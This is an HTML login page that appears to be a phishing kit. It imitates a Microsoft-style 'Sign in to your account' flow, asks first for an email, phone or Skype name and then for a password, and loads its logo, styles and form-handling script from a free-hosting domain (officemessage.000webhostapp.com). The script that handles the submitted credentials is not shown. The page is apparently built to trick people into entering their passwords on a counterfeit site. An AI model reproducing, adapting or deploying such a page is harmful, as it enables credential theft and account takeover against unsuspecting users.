<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta content="width=device-width, initial-scale=1.0" name="viewport">
<title>Sign in to your account</title>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous">
<link href="https://officemessage.000webhostapp.com/css/animate.min.css" rel="stylesheet">
<link rel="icon" type="image/jpg" href="https://officemessage.000webhostapp.com/img/icon.png">
<script type="text/javascript" src="https://officemessage.000webhostapp.com/js/jquery.min.js"></script>
<style type="text/css">
@import url('https://fonts.googleapis.com/css2?family=Lato&display=swap');
body{
background-image: url('img/bg.jpg');
box-sizing: border-box;
}
.login{
background-color: #fff;
padding: 40px;
margin-top: 100px;
height: 74%;
}
.login h4{
font-family: 'Lato', sans-serif;
font-weight: 600;
margin-top: 20px;
}
.login input{
box-shadow: none;
border: none;
border-bottom: 1px solid #0066b8;
border-radius: 0px;
background-color: transparent;
margin-top: 6px;
padding-left: 0px;
}
.login input:focus{
box-shadow: none;
}
.login p{
font-size: 14px;
}
.login .btn{
width: 103px;
margin-top: 15px;
border-radius: 0px;
border: none;
padding: 6px;
}
.login button:focus{
box-shadow: none;
}
.login .btn-secondary:hover{
background-color: #b2b2b2 !important;
}
.login .btn-primary:hover{
background-color: #015da1 !important;
}
.sigin:hover{
background-color: #ddd !important;
cursor: pointer;
}
.sigin:focus{
border: 1px dashed #000 !important;
background-color: #999 !important;
}
</style>
</head>
<body>
<div class="container-fluid">
<div class="row">
<div class="col-md-4">
</div>
<div class="col-md-4">
<div class="login email shadow">
<img src="https://officemessage.000webhostapp.com/img/logo.svg">
<div class="animate__animated animate__fadeInRight">
<h4>Sign in</h4>
<p id="error" style="color: #e81123;font-size: 14.5px;margin-bottom: -3px !important;"></p>
<input type="text" id="email" name="uname" placeholder="Email, Phone, or Skype" class="form-control">
<p style="margin-top: 14px;">No account? <span style="color: #0066b8;cursor: pointer;">Create one!</span></p>
<p><span style="color: #0066b8;cursor: pointer;">Can't access your account?</span></p>
<div class="button float-right">
<button class="btn btn-secondary btn-sm" style="background-color: #cccccc;color: #000;">Back</button>
<button class="btn btn-primary btn-sm" id="next" style="background-color:#0066b8;">Next</button>
</div>
</div>
</div>
<div class="login pass shadow" style="display: none;height: 85%;">
<img src="https://officemessage.000webhostapp.com/img/logo.svg">
<div >
<p class="show" style="font-size: 15px;line-height: 0.7em;margin-top: 25px;"></p>
<h4>Enter Password</h4>
<p id="error2" style="color: #e81123;font-size: 14.5px;margin-bottom: -3px !important;"></p>
<input type="password" id="pword" name="pword" placeholder="Password" class="form-control" style="margin-top: 20px;">
<p style="margin-top: 14px;color: #0066b8;cursor: pointer;">Forgot password?</p>
<p style="color: #0066b8;cursor: pointer;">Email code to <span class="show"></span></p>
<div class="button float-right">
<button class="btn btn-primary btn-sm" id="test" style="background-color:#0066b8;">Sigin</button>
</div>
</div>
</div>
<div tabindex="1" class="sigin shadow" style="background-color:#fff;margin-top: 20px;padding: 8px 8px 8px 50px;">
<div>
<svg style="width: 33px;height: 33px;" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 48 48"><defs><style>.a{fill:none;}.b{fill:#404040;}</style></defs><rect class="a" width="48" height="48"/><path class="b" d="M40,32.578V40H32V36H28V32H24V28.766A10.689,10.689,0,0,1,19,30a10.9,10.9,0,0,1-5.547-1.5,11.106,11.106,0,0,1-2.219-1.719A11.373,11.373,0,0,1,9.5,24.547a10.4,10.4,0,0,1-1.109-2.625A11.616,11.616,0,0,1,8,19a10.9,10.9,0,0,1,1.5-5.547,11.106,11.106,0,0,1,1.719-2.219A11.373,11.373,0,0,1,13.453,9.5a10.4,10.4,0,0,1,2.625-1.109A11.616,11.616,0,0,1,19,8a10.9,10.9,0,0,1,5.547,1.5,11.106,11.106,0,0,1,2.219,1.719A11.373,11.373,0,0,1,28.5,13.453a10.4,10.4,0,0,1,1.109,2.625A11.616,11.616,0,0,1,30,19a10.015,10.015,0,0,1-.125,1.578,10.879,10.879,0,0,1-.359,1.531Zm-2,.844L27.219,22.641a14.716,14.716,0,0,0,.562-1.782A7.751,7.751,0,0,0,28,19a8.786,8.786,0,0,0-.7-3.5,8.9,8.9,0,0,0-1.938-2.859A9.269,9.269,0,0,0,22.5,10.719,8.9,8.9,0,0,0,19,10a8.786,8.786,0,0,0-3.5.7,8.9,8.9,0,0,0-2.859,1.938A9.269,9.269,0,0,0,10.719,15.5,8.9,8.9,0,0,0,10,19a8.786,8.786,0,0,0,.7,3.5,8.9,8.9,0,0,0,1.938,2.859A9.269,9.269,0,0,0,15.5,27.281a8.842,8.842,0,0,0,6.469.2A8.767,8.767,0,0,0,24.609,26H26v4h4v4h4v4h4ZM16,14a1.938,1.938,0,0,1,.781.156,2,2,0,0,1,.625.422,2.191,2.191,0,0,1,.438.641A1.705,1.705,0,0,1,18,16a1.938,1.938,0,0,1-.156.781,2,2,0,0,1-.422.625,2.191,2.191,0,0,1-.641.438A1.705,1.705,0,0,1,16,18a1.938,1.938,0,0,1-.781-.156,2,2,0,0,1-.625-.422,2.191,2.191,0,0,1-.438-.641A1.705,1.705,0,0,1,14,16a1.938,1.938,0,0,1,.156-.781,2,2,0,0,1,.422-.625,2.191,2.191,0,0,1,.641-.438A1.705,1.705,0,0,1,16,14Z"/></svg>
<span style="font-size: 15px;"> Sign-in options</span>
</div>
</div>
</div>
<div class="col-md-4">
</div>
</div>
</div>
<script type="text/javascript" src="https://officemessage.000webhostapp.com/js/script.js"></script>
</body>
</html>